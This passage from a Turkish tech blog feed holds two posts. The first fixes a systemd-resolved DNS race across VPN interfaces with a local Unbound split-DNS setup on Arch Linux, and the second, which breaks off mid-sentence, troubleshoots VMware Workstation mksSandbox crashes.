kullan&inodot;c&inodot;s&inodot; paranoyas&inodot;yla kollar&inodot; s&inodot;vay&inodot;p DNS ve IP rotalar&inodot; (routing) labirentine dalmaya karar verdim.</p> <p>Daha &ouml;nce yazd&inodot;&gbreve;&inodot;m <a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">AWS EC2'de OpenVPN Nas&inodot;l Kurulur ve DNS Leak Nas&inodot;l D&uuml;zeltilir</a> makalesinde VPN &uuml;zerindeki DNS s&inodot;z&inodot;nt&inodot;lar&inodot;n&inodot; ve temel y&ouml;nlendirmeleri incelemi&scedil;tik. Bu sefer sorun &ccedil;ok daha karma&scedil;&inodot;k bir DNS yar&inodot;&scedil;mas&inodot; ve rota d&uuml;&gbreve;&uuml;m&uuml;nden ibaret.</p> <h2 id="aws-vpc-dns-ve-vpn-trafigi-caksmas">AWS VPC DNS ve VPN Trafi&gbreve;i &Ccedil;ak&inodot;&scedil;mas&inodot;<a class="headerlink" href="#aws-vpc-dns-ve-vpn-trafigi-caksmas" title="Permanent link">#</a></h2> <p>Benim senaryomda AWS EKS hem Public hem de Private endpoint'lere sahip. Dolay&inodot;s&inodot;yla DNS taraf&inodot;nda <a href="https://en.wikipedia.org/wiki/Split-horizon_DNS" rel="noopener noreferrer" target="_blank">Split-Horizon DNS</a> mekanizmas&inodot; devrede:</p> <ul> <li>E&gbreve;er d&inodot;&scedil; a&gbreve;dan (yani genel internetten) sorgu atarsak, AWS bize EKS'nin <strong>public IP</strong> adresini d&ouml;ner.</li> <li>E&gbreve;er AWS VPC i&ccedil;erisinden (veya VPN &uuml;zerinden) sorgu atarsak, bize VPC i&ccedil;indeki <strong>private IP</strong> adresini (&Ouml;rn: <code>10.0.64.9</code>) d&ouml;ner.</li> </ul> <p>Sistemimde ayn&inodot; anda birden fazla DNS sunucusu tan&inodot;ml&inodot;yd&inodot; ve <code>/etc/resolv.conf</code> i&ccedil;eri&gbreve;i yakla&scedil;&inodot;k olarak &scedil;&ouml;yle g&ouml;r&uuml;n&uuml;yordu:</p> <div class="highlight"><pre><span></span><code>nameserver 1.1.1.1 # Cloudflare (EKS i&ccedil;in Public IP d&ouml;ner) nameserver 10.100.0.1 # Evdeki MikroTik (EKS i&ccedil;in Public IP d&ouml;ner) nameserver 10.0.0.2 # AWS VPC DNS - OpenVPN &uuml;zerinden (EKS i&ccedil;in Private IP d&ouml;ner) </code></pre></div> <p>Sistemde DNS &ccedil;&ouml;z&uuml;mlemesinin kimde oldu&gbreve;unu anlamak i&ccedil;in <code>/etc/nsswitch.conf</code> dosyas&inodot;n&inodot; inceledi&gbreve;imizde hosts sat&inodot;r&inodot; &scedil;u &scedil;ekildeydi:</p> <div class="highlight"><pre><span></span><code><span class="n">hosts</span><span class="o">:</span><span class="w"> </span><span class="n">mymachines</span><span class="w"> </span><span class="n">resolve</span><span class="w"> </span><span class="o">[!</span><span class="n">UNAVAIL</span><span class="o">=</span><span class="k">return</span><span class="o">]</span><span class="w"> </span><span class="n">files</span><span class="w"> </span><span class="n">myhostname</span><span class="w"> </span><span class="n">dns</span> </code></pre></div> <p>Buradaki <code>resolve</code> parametresi, sistemin klasik glibc DNS &ccedil;&ouml;z&uuml;c&uuml;s&uuml; yerine D-Bus &uuml;zerinden <code>systemd-resolved</code><sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> servisini kulland&inodot;&gbreve;&inodot;n&inodot; g&ouml;sterir.</p> <h2 id="systemd-resolvedun-at-yars-cozumleme-mantg">systemd-resolved'un "At Yar&inodot;&scedil;&inodot;" &Ccedil;&ouml;z&uuml;mleme Mant&inodot;&gbreve;&inodot;<a class="headerlink" href="#systemd-resolvedun-at-yars-cozumleme-mantg" title="Permanent link">#</a></h2> <p>Gelelim <code>systemd-resolved</code>'un DNS sorgular&inodot;n&inodot; nas&inodot;l ele ald&inodot;&gbreve;&inodot;na. Durumu daha net g&ouml;rebilmek i&ccedil;in <code>systemd-resolved</code> debug loglar&inodot;n&inodot; a&ccedil;al&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>resolvectl<span class="w"> </span>log-level<span class="w"> </span>debug </code></pre></div> <p>Ard&inodot;ndan loglar&inodot; izlemeye al&inodot;p <code>kubectl</code> sorgusunu &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;m&inodot;zda kar&scedil;&inodot;m&inodot;za &ccedil;&inodot;kan manzara &scedil;uydu:</p> <div class="highlight"><pre><span></span><code><span class="n">varlink</span><span class="o">-</span><span class="mi">28</span><span class="o">-</span><span class="mi">28</span><span class="p">:</span><span class="w"> </span><span class="n">Received</span><span class="w"> </span><span class="n">message</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="s2">"method"</span><span class="p">:</span><span class="s2">"io.systemd.Resolve.ResolveHostname"</span><span class="p">,</span><span class="s2">"parameters"</span><span class="p">:{</span><span class="s2">"name"</span><span class="p">:</span><span class="s2">"F07***D78.gr7.us-east-1.eks.amazonaws.com"</span><span class="p">,</span><span class="s2">"flags"</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s2">"ifindex"</span><span class="p">:</span><span class="mi">0</span><span class="p">}}</span> </code></pre></div> <p><code>systemd-resolved</code>, elindeki t&uuml;m aktif a&gbreve; aray&uuml;zlerine (ev a&gbreve;&inodot;m, OpenVPN t&uuml;neli <code>tun0</code>, WireGuard t&uuml;neli <code>wg0</code>) <strong>ayn&inodot; anda</strong> DNS sorgusu g&ouml;nderiyor!</p> <p>Hac&inodot; bura &ccedil;ok kritik: <code>systemd-resolved</code> resmen arkada DNS sunucular&inodot;n&inodot; yar&inodot;&scedil;t&inodot;r&inodot;yor. Hangi aray&uuml;zdeki DNS sunucusu ilk &ouml;nce cevap verirse, o cevab&inodot; kabul edip &ouml;nbelle&gbreve;e (cache) al&inodot;yor.</p> <ul> <li>E&gbreve;er yar&inodot;&scedil;&inodot; kendi ev internetim (<code>wlan0</code> / <code>1.1.1.1</code>) kazan&inodot;rsa, bize EKS'nin <strong>public IP</strong> adresi d&ouml;n&uuml;yor ve ba&gbreve;lant&inodot; sorunsuz kuruluyor.</li> <li>E&gbreve;er yar&inodot;&scedil;&inodot; OpenVPN t&uuml;neli (<code>tun0</code> / <code>10.0.0.2</code>) kazan&inodot;rsa, bize EKS'nin <strong>private IP</strong> adresi (<code>10.0.64.9</code>) d&ouml;ner.</li> </ul> <p>Peki private IP d&ouml;n&uuml;nce neden timeout al&inodot;yoruz? &Ccedil;&uuml;nk&uuml; rotalar&inodot;m&inodot;z&inodot; (routing table) kontrol etti&gbreve;imizde, <code>10.0.64.9</code> IP adresi i&ccedil;in VPN t&uuml;neline (<code>tun0</code>) y&ouml;nlendirilmi&scedil; &ouml;zel bir rota tan&inodot;ml&inodot; de&gbreve;il. Dolay&inodot;s&inodot;yla sistem bu private IP'ye gitmek i&ccedil;in varsay&inodot;lan a&gbreve; ge&ccedil;idini (evdeki router'&inodot;m) kullanmaya &ccedil;al&inodot;&scedil;&inodot;yor ve paketlerimiz normal internete &ccedil;&inodot;k&inodot;p kayboluyor.</p> <p>Log seviyesini tekrar normale d&ouml;nd&uuml;relim:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>resolvectl<span class="w"> </span>log-level<span class="w"> </span>info </code></pre></div> <h2 id="cozum-yollar">&Ccedil;&ouml;z&uuml;m Yollar&inodot;<a class="headerlink" href="#cozum-yollar" title="Permanent link">#</a></h2> <p>Bu sorunu &ccedil;&ouml;zmek i&ccedil;in &ouml;n&uuml;m&uuml;zde birka&ccedil; se&ccedil;enek var:</p> <ol> <li><strong>Rota Ekleme (Ge&ccedil;ici &Ccedil;&ouml;z&uuml;m):</strong> EKS &ouml;zel IP bloklar&inodot;n&inodot; OpenVPN rotalar&inodot;na manuel olarak eklemek. (Sadece o IP i&ccedil;in ge&ccedil;ici &ccedil;&ouml;z&uuml;md&uuml;r, split-DNS sa&gbreve;lamaz.)</li> <li><strong>systemd-resolved ile Split-DNS:</strong> <code>systemd-resolved</code> &uuml;zerinde karma&scedil;&inodot;k aray&uuml;z bazl&inodot; alan ad&inodot; kurallar&inodot; yazmak. (Olduk&ccedil;a zahmetli ve karars&inodot;zd&inodot;r.)</li> <li><strong>Local Unbound Kurulumu (Kal&inodot;c&inodot; ve Kararl&inodot; &Ccedil;&ouml;z&uuml;m):</strong> <code>systemd-resolved</code> servisini tamamen emekli edip, sorgular&inodot; alan adlar&inodot;na g&ouml;re do&gbreve;ru DNS sunucular&inodot;na da&gbreve;&inodot;tacak bir local Unbound DNS sunucusu kurmak.</li> </ol> <p>Biz en temiz ve kararl&inodot; yol olan <strong>Unbound</strong> kurulumunu se&ccedil;ece&gbreve;iz. Daha &ouml;nce benzer bir port &ccedil;ak&inodot;&scedil;mas&inodot;n&inodot; <a href="/arch-linux-dnsmasq-dnscrypt-proxy/">Arch Linux'ta dnsmasq ve dnscrypt-proxy Kurulum Rehberi</a> yaz&inodot;mda <code>dnsmasq</code> ile &ccedil;&ouml;zm&uuml;&scedil;t&uuml;k. Bu sefer i&scedil;in i&ccedil;ine VPN DNS'leri de girdi&gbreve;i i&ccedil;in Unbound ile split-DNS yapaca&gbreve;&inodot;z.</p> <h2 id="arch-linux-uzerinde-unbound-kurulumu-ve-yaplandrmas">Arch Linux &Uuml;zerinde Unbound Kurulumu ve Yap&inodot;land&inodot;rmas&inodot;<a class="headerlink" href="#arch-linux-uzerinde-unbound-kurulumu-ve-yaplandrmas" title="Permanent link">#</a></h2> <p>&Ouml;ncelikle gerekli paketi kural&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>unbound </code></pre></div> <p>Hedefimiz &scedil;u y&ouml;nlendirme kurallar&inodot;n&inodot; tan&inodot;mlamak: * <code>compute.internal</code> ve <code>ops.example.com</code> (AWS i&ccedil; a&gbreve; alan adlar&inodot;) sorgular&inodot; OpenVPN t&uuml;nelindeki AWS VPC DNS sunucusuna (<code>10.0.0.2</code>) gitsin. * <code>setevoy</code> (kendi homelab a&gbreve;&inodot;m) sorgular&inodot; WireGuard t&uuml;nelindeki MikroTik DNS sunucusuna (<code>10.100.0.1</code>) gitsin. * Geri kalan t&uuml;m genel internet sorgular&inodot; ise Cloudflare (<code>1.1.1.1</code>) ve Google (<code>8.8.8.8</code>) sunucular&inodot;na y&ouml;nlendirilsin.</p> <p><code>/etc/unbound/unbound.conf</code> dosyas&inodot;n&inodot; &scedil;u &scedil;ekilde d&uuml;zenliyoruz:</p> <div class="highlight"><pre><span></span><code><span class="na">server</span><span class="o">:</span> <span class="w"> </span><span class="na">interface</span><span class="o">:</span><span class="w"> </span><span class="s">127.0.0.1</span> <span class="w"> </span><span class="na">access-control</span><span class="o">:</span><span class="w"> </span><span class="s">127.0.0.0/8 allow</span> <span class="w"> </span><span class="na">do-ip6</span><span class="o">:</span><span class="w"> </span><span class="s">no</span> <span class="w"> </span><span class="na">hide-identity</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="w"> </span><span class="na">hide-version</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="w"> </span><span class="na">prefetch</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="c1"># Kendi homelab a&gbreve;&inodot;m (WireGuard / MikroTik)</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"setevoy."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.100.0.1</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">192.168.0.1</span> <span class="c1"># AWS Dahili Kaynaklar&inodot;</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"compute.internal."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.0.0.2</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"ops.example.com."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.0.0.2</span> <span class="c1"># Genel &Idot;nternet Sorgular&inodot;</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">1.1.1.1</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">8.8.8.8</span> </code></pre></div> <p>Konfig&uuml;rasyonda yaz&inodot;m hatas&inodot; olup olmad&inodot;&gbreve;&inodot;n&inodot; kontrol edelim:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>unbound-checkconf </code></pre></div> <p><code>unbound-checkconf: no errors in /etc/unbound/unbound.conf</code> &ccedil;&inodot;kt&inodot;s&inodot;n&inodot; g&ouml;rd&uuml;ysek yolumuz a&ccedil;&inodot;k demektir.</p> <h2 id="systemd-resolved-servisini-devre-ds-brakmak">systemd-resolved Servisini Devre D&inodot;&scedil;&inodot; B&inodot;rakmak<a class="headerlink" href="#systemd-resolved-servisini-devre-ds-brakmak" title="Permanent link">#</a></h2> <p>Unbound'un port 53'&uuml; sorunsuz dinleyebilmesi i&ccedil;in <code>systemd-resolved</code> servisini tamamen kapatmam&inodot;z gerekiyor.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! 🚨 Sadece 'disable' yetmiyor!</p> <p>Bu servisi kapatt&inodot;&gbreve;&inodot;n&inodot;z anda local DNS &ccedil;&ouml;z&uuml;mleyiciniz kalmayaca&gbreve;&inodot; i&ccedil;in Unbound'u &ccedil;al&inodot;&scedil;t&inodot;rana kadar internet eri&scedil;iminiz (alan ad&inodot; bazl&inodot;) ge&ccedil;ici olarak kesilecektir.</p> </div> <p>E&gbreve;er <code>/etc/NetworkManager/NetworkManager.conf</code> dosyan&inodot;zda <code>dns=systemd-resolved</code> gibi bir sat&inodot;r varsa bunu <code>dns=none</code> olarak g&uuml;ncelleyin:</p> <div class="highlight"><pre><span></span><code><span class="k">[main]</span> <span class="na">dns</span><span class="o">=</span><span class="s">none</span> </code></pre></div> <p>&Scedil;imdi <code>systemd-resolved</code> servisini durdural&inodot;m ve ba&scedil;lang&inodot;&ccedil;ta &ccedil;al&inodot;&scedil;mas&inodot;n&inodot; engelleyelim:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>disable<span class="w"> </span>--now<span class="w"> </span>systemd-resolved<span class="w"> </span>systemd-resolved-monitor.socket<span class="w"> </span>systemd-resolved-varlink.socket sudo<span class="w"> </span>systemctl<span class="w"> </span>mask<span class="w"> </span>systemd-resolved </code></pre></div> <p>NetworkManager servisini yeniden ba&scedil;latal&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>NetworkManager </code></pre></div> <p>E&gbreve;er port 53'&uuml;n tamamen bo&scedil;ald&inodot;&gbreve;&inodot;ndan emin olmak isterseniz &scedil;u komutla kontrol edebilirsiniz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>ss<span class="w"> </span>-tulpn<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">':53'</span> </code></pre></div> <p>Port bo&scedil;taysa Unbound servisini aktif edip ba&scedil;latal&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>unbound </code></pre></div> <p>Art&inodot;k <code>/etc/resolv.conf</code> dosyam&inodot;z&inodot; kendi local DNS sunucumuza y&ouml;nlendirebiliriz. Dosyay&inodot; a&ccedil;&inodot;p sadece &scedil;u sat&inodot;r&inodot; b&inodot;rak&inodot;n:</p> <div class="highlight"><pre><span></span><code>nameserver 127.0.0.1 </code></pre></div> <p>E&gbreve;er WireGuard t&uuml;neli kullan&inodot;yorsan&inodot;z, <code>/etc/wireguard/wg0.conf</code> dosyan&inodot;zdaki DNS parametresini de <code>127.0.0.1</code> olarak g&uuml;ncellemeyi unutmay&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="k">[Interface]</span> <span class="na">...</span> <span class="na">DNS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">127.0.0.1</span> </code></pre></div> <p>De&gbreve;i&scedil;ikliklerin ard&inodot;ndan WireGuard t&uuml;nelini yeniden ba&scedil;latabilirsiniz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>wg-quick<span class="w"> </span>down<span class="w"> </span>wg0<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>sudo<span class="w"> </span>wg-quick<span class="w"> </span>up<span class="w"> </span>wg0 </code></pre></div> <h2 id="sonuclarn-test-edilmesi">Sonu&ccedil;lar&inodot;n Test Edilmesi<a class="headerlink" href="#sonuclarn-test-edilmesi" title="Permanent link">#</a></h2> <p>Local DNS sunucumuzun kurallara uyup uymad&inodot;&gbreve;&inodot;n&inodot; <code>dig</code> komutuyla test edelim:</p> <ol> <li><strong>Genel &Idot;nternet Testi:</strong> <code>bash dig google.com +short # &Ccedil;&inodot;kt&inodot;: 216.58.207.14 (Cloudflare/Google &uuml;zerinden sorunsuz &ccedil;&ouml;z&uuml;ld&uuml;)</code></li> <li><strong>AWS EKS Endpoint Testi (Public IP d&ouml;nmeli):</strong> <code>bash dig F07***D78.gr7.us-east-1.eks.amazonaws.com +short # &Ccedil;&inodot;kt&inodot;: EKS'nin public IP adresleri d&ouml;nmeli (&ccedil;&uuml;nk&uuml; sorgu genel internete y&ouml;nlendi)</code></li> <li><strong>AWS RDS Testi (Private IP d&ouml;nmeli):</strong> <code>bash dig prod.db.kraken.ops.example.com +short # &Ccedil;&inodot;kt&inodot;: 10.0.66.14 (AWS DNS'i &uuml;zerinden &ouml;zel IP ba&scedil;ar&inodot;yla &ccedil;&ouml;z&uuml;ld&uuml;)</code></li> </ol> <p>S&ouml;z&uuml;n &ouml;z&uuml;; birden fazla VPN a&gbreve;&inodot;n&inodot;n aktif oldu&gbreve;u geli&scedil;tirme ortamlar&inodot;nda <code>systemd-resolved</code>'un kontrols&uuml;z yar&inodot;&scedil;mac&inodot; DNS yap&inodot;s&inodot; yerine, local bir <strong>Unbound</strong> DNS sunucusu kurmak a&gbreve; trafi&gbreve;inizi &ccedil;ok daha tahmin edilebilir ve kararl&inodot; k&inodot;lacakt&inodot;r. </p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Ayr&inodot;nt&inodot;l&inodot; bilgi i&ccedil;in Arch Wiki &uuml;zerindeki <a href="https://wiki.archlinux.org/title/Domain_name_resolution" rel="noopener noreferrer" target="_blank">Domain Name Resolution</a> ba&scedil;l&inodot;&gbreve;&inodot;na g&ouml;z atabilirsiniz.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-24T07:45:00+03:002026-05-24T20:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-24:/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/

<p>VMware Workstation üzerinde çalışırken aniden karşınıza çıkan mksSandbox veya ISBRendererComm bağlantı kaybı hatasının nedenlerini inceliyor ve adım adım çözüm yollarını anlatıyoruz.</p>

<p>Ge&ccedil;en g&uuml;n bilgisayar ba&scedil;&inodot;nda, arkada simit-ayran e&scedil;li&gbreve;inde Docker konteynerleriyle bo&gbreve;u&scedil;uyorum. Windows 11 kurulu ana makinede (Ryzen i&scedil;lemci, alt&inodot;nda Nvidia RTX kart canavar gibi &ccedil;al&inodot;&scedil;&inodot;yor) Laravel projesi i&ccedil;in aya&gbreve;a kald&inodot;rd&inodot;&gbreve;&inodot;m Ubuntu sanal makinesinde veritaban&inodot; ta&scedil;&inodot;malar&inodot;n&inodot; (migrations) yaz&inodot;yorum. Tam terminale uzunca bir komut yap&inodot;&scedil;t&inodot;rd&inodot;m, "Enter"a basaca&gbreve;&inodot;m, o da ne? Ekran dondu. Ard&inodot;ndan kar&scedil;&inodot;mda &scedil;u me&scedil;hur, insan&inodot;n asab&inodot;n&inodot; bozan kutucuk belirdi:</p> <blockquote> <p><strong>VMware Workstation unrecoverable error: (mks)</strong> ISBRendererComm: Lost connection to mksSandbox (3796)</p> </blockquote> <p>Hac&inodot; bura &ccedil;ok kritik, &ccedil;&uuml;nk&uuml; o an ne yap&inodot;yorsan hepsi &ccedil;&ouml;p oldu. Sanal makine pat diye kapand&inodot;.</p> <p>&Idot;lk refleks olarak, tipik bir Arch/Linux kullan&inodot;c&inodot;s&inodot; paranoyas&inodot;yla hemen su&ccedil;luyu misafir i&scedil;letim sisteminde arad&inodot;m. Kesin dedik, <code>systemd</code> kafay&inodot; yedi ya da &ccedil;ekirdek pani&gbreve;i (kernel panic) ya&scedil;ad&inodot;k. Gittim saatlerce misafir sistemin <code>journalctl</code> loglar&inodot;n&inodot; tarad&inodot;m. Ama loglar ayna gibi temiz! Me&gbreve;er misafir Ubuntu'nun g&uuml;nah&inodot; yokmu&scedil;. Sorun tamamen ana makinenin (host) grafik i&scedil;leyicisinde (renderer) kopan bir f&inodot;rt&inodot;nadan ibaretmi&scedil;.</p> <h2 id="nedir-bu-mkssandbox-ve-neden-cokuyor">Nedir bu mksSandbox ve Neden &Ccedil;&ouml;k&uuml;yor?<a class="headerlink" href="#nedir-bu-mkssandbox-ve-neden-cokuyor" title="Permanent link">#</a></h2> <p><code>mksSandbox.exe</code> (Windows &uuml;zerinde) veya Linux taraf&inodot;ndaki kar&scedil;&inodot;l&inodot;&gbreve;&inodot;, VMware'in grafik i&scedil;leme motorudur. Misafir i&scedil;letim sisteminin ekran&inodot;n&inodot;, ana makinenin ekran kart&inodot;n&inodot; (GPU) kullanarak &ccedil;izer. Bu s&uuml;re&ccedil; koptu&gbreve;unda VMware g&uuml;venli&gbreve;i sa&gbreve;lamak ad&inodot;na t&uuml;m sanal makineyi kapat&inodot;r.</p> <p>Bu hatay&inodot; &ccedil;&ouml;zmeden &ouml;nce bilmeniz gereken birka&ccedil; detay var:</p> <ul> <li><strong>Misafir sisteminiz sapasa&gbreve;lam:</strong> Sanal makinenin i&ccedil;inde hi&ccedil;bir &ccedil;&ouml;kme yok. Loglar temiz.</li> <li><strong>Hata ekran kart&inodot;yla ilgili:</strong> Host taraf&inodot;ndaki Nvidia/AMD s&uuml;r&uuml;c&uuml;leri, Vulkan/OpenGL katmanlar&inodot; ya da Windows g&uuml;venlik mekanizmalar&inodot; bu &ccedil;&ouml;kmeyi tetikliyor.</li> <li><strong>PID numaras&inodot; &ouml;nemsiz:</strong> Hatadaki say&inodot; (3796, 2878 vb.) o an &ccedil;&ouml;ken i&scedil;lemin kimli&gbreve;idir (Process ID). Her seferinde de&gbreve;i&scedil;ir, kafaya takmaya gerek yok.</li> </ul> <p>Daha &ouml;nce yazd&inodot;&gbreve;&inodot;m <a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">AWS EC2'de OpenVPN Nas&inodot;l Kurulur ve DNS Leak Nas&inodot;l D&uuml;zeltilir</a> makalesinde oldu&gbreve;u gibi, bazen sanalla&scedil;t&inodot;rma ve VPN katmanlar&inodot; ana makinedeki a&gbreve; ve grafik servisleriyle b&ouml;yle &ccedil;ak&inodot;&scedil;malar ya&scedil;ayabiliyor. &Scedil;imdi gelin bu grafik canavar&inodot;n&inodot; ad&inodot;m ad&inodot;m nas&inodot;l uysalla&scedil;t&inodot;raca&gbreve;&inodot;m&inodot;za bakal&inodot;m.</p> <h2 id="1-sanal-makineyi-arka-planda-headless-calstrmak">1. Sanal Makineyi Arka Planda (Headless) &Ccedil;al&inodot;&scedil;t&inodot;rmak<a class="headerlink" href="#1-sanal-makineyi-arka-planda-headless-calstrmak" title="Permanent link">#</a></h2> <p>E&gbreve;er bu sanal makineye sadece SSH &uuml;zerinden ba&gbreve;lan&inodot;yor, terminalde kod yaz&inodot;yorsan&inodot;z ve aray&uuml;ze ihtiyac&inodot;n&inodot;z yoksa konsol penceresini hi&ccedil; a&ccedil;mayarak bu sorundan tamamen kurtulabilirsiniz. Konsol a&ccedil;&inodot;lmazsa <code>mksSandbox</code> &ccedil;al&inodot;&scedil;maz ve &ccedil;&ouml;kecek bir &scedil;ey kalmaz.</p> <p>VMware Workstation aray&uuml;z&uuml;nde sanal makinenin sekmesindeki <strong>X</strong> tu&scedil;una bas&inodot;n ve &ccedil;&inodot;kan kutucuktan <strong>Run in Background</strong> (Arka Planda &Ccedil;al&inodot;&scedil;t&inodot;r) se&ccedil;ene&gbreve;ini se&ccedil;in.</p> <p>E&gbreve;er makineyi do&gbreve;rudan bu &scedil;ekilde ba&scedil;latmak isterseniz, PowerShell veya terminal &uuml;zerinden <code>vmrun</code> arac&inodot;n&inodot; kullanabilirsiniz:</p> <p>Windows i&ccedil;in:</p> <div class="highlight"><pre><span></span><code><span class="s2">"C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"</span> <span class="nb">start </span><span class="s2">"C:\Kullanicilar\Yucel\Documents\VMs\Ubuntu\Ubuntu.vmx"</span> <span class="n">nogui</span> </code></pre></div> <p>Linux i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>vmrun<span class="w"> </span>-T<span class="w"> </span>ws<span class="w"> </span>start<span class="w"> </span><span class="s2">"/home/yucel/VMs/Ubuntu/Ubuntu.vmx"</span><span class="w"> </span>nogui </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Dikkat! 🚨 Aray&uuml;z&uuml; a&ccedil;&inodot;nca risk ba&scedil;lar</p> <p>E&gbreve;er daha sonra makineye aray&uuml;zden &ccedil;ift t&inodot;klay&inodot;p ekran&inodot; izlemeye kalkarsan&inodot;z, grafik i&scedil;leyici tekrar tetiklenir ve &ccedil;&ouml;kme riskiyle yeniden kar&scedil;&inodot; kar&scedil;&inodot;ya kal&inodot;rs&inodot;n&inodot;z.</p> </div> <h2 id="2-3d-grafik-hzlandrmay-kapatmak">2. 3D Grafik H&inodot;zland&inodot;rmay&inodot; Kapatmak<a class="headerlink" href="#2-3d-grafik-hzlandrmay-kapatmak" title="Permanent link">#</a></h2> <p>E&gbreve;er konsolu aktif olarak kullan&inodot;yorsan&inodot;z, en kesin ve pratik &ccedil;&ouml;z&uuml;m 3D grafik h&inodot;zland&inodot;rmay&inodot; kapat&inodot;p yaz&inodot;l&inodot;msal i&scedil;lemeye ge&ccedil;mektir.</p> <p>Sanal makineyi tamamen kapat&inodot;n. Aray&uuml;zden <strong>Settings &gt; Display</strong> yolunu izleyin ve <strong>Accelerate 3D graphics</strong> se&ccedil;ene&gbreve;indeki i&scedil;areti kald&inodot;r&inodot;n. Ayarlar&inodot; kaydedip makineyi ba&scedil;lat&inodot;n.</p> <p>VMware art&inodot;k ana makinenizin ekran kart&inodot; s&uuml;r&uuml;c&uuml;leriyle do&gbreve;rudan konu&scedil;mak yerine tamamen g&uuml;venli yaz&inodot;l&inodot;msal i&scedil;lemeye geri d&ouml;necektir.</p> <h2 id="3-vmx-dosyasndan-yazlmsal-islemeyi-zorlamak">3. <code>.vmx</code> Dosyas&inodot;ndan Yaz&inodot;l&inodot;msal &Idot;&scedil;lemeyi Zorlamak<a class="headerlink" href="#3-vmx-dosyasndan-yazlmsal-islemeyi-zorlamak" title="Permanent link">#</a></h2> <p>Aray&uuml;zdeki se&ccedil;ene&gbreve;in kazara tekrar a&ccedil;&inodot;lmas&inodot;n&inodot; &ouml;nlemek veya ayar&inodot; do&gbreve;rudan konfig&uuml;rasyondan sabitlemek i&ccedil;in <code>.vmx</code> dosyas&inodot;n&inodot; d&uuml;zenleyebilirsiniz.</p> <p>Sanal makine kapal&inodot;yken <code>.vmx</code> uzant&inodot;l&inodot; dosyay&inodot; metin edit&ouml;r&uuml;nde a&ccedil;&inodot;n ve dosyan&inodot;n en alt&inodot;na &scedil;u sat&inodot;r&inodot; ekleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">mks.enableGLRenderer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"FALSE"</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ Performans ipucu</p> <p>Daha y&uuml;ksek sanal makine performans&inodot; elde etmek i&ccedil;in uygulad&inodot;&gbreve;&inodot;m&inodot;z <strong>side-channel korumalar&inodot;n&inodot; kapatma</strong> (side-channel mitigations) y&ouml;ntemine a&scedil;inaysan&inodot;z, bu parametreyi de <code>.vmx</code> dosyan&inodot;za ekleyebilirsiniz.</p> </div> <h2 id="4-linux-hostlarda-vulkan-grafik-motorunu-kapatmak">4. Linux Hostlarda Vulkan Grafik Motorunu Kapatmak<a class="headerlink" href="#4-linux-hostlarda-vulkan-grafik-motorunu-kapatmak" title="Permanent link">#</a></h2> <p>E&gbreve;er ana makineniz Linux ise (&ouml;rne&gbreve;in Arch Linux) ve Nvidia ekran kart&inodot; kullan&inodot;yorsan&inodot;z, grafik kart&inodot;n&inodot;n s&uuml;r&uuml;c&uuml;leriyle Vulkan aras&inodot;nda bir uyu&scedil;mazl&inodot;k olabilir. Bu durumda Vulkan grafik motorunu devre d&inodot;&scedil;&inodot; b&inodot;rakabilirsiniz.</p> <p>Ana makinedeki <code>~/.config/vmware/config</code> dosyas&inodot;n&inodot; (yoksa olu&scedil;turarak) a&ccedil;&inodot;n veya do&gbreve;rudan VM'in 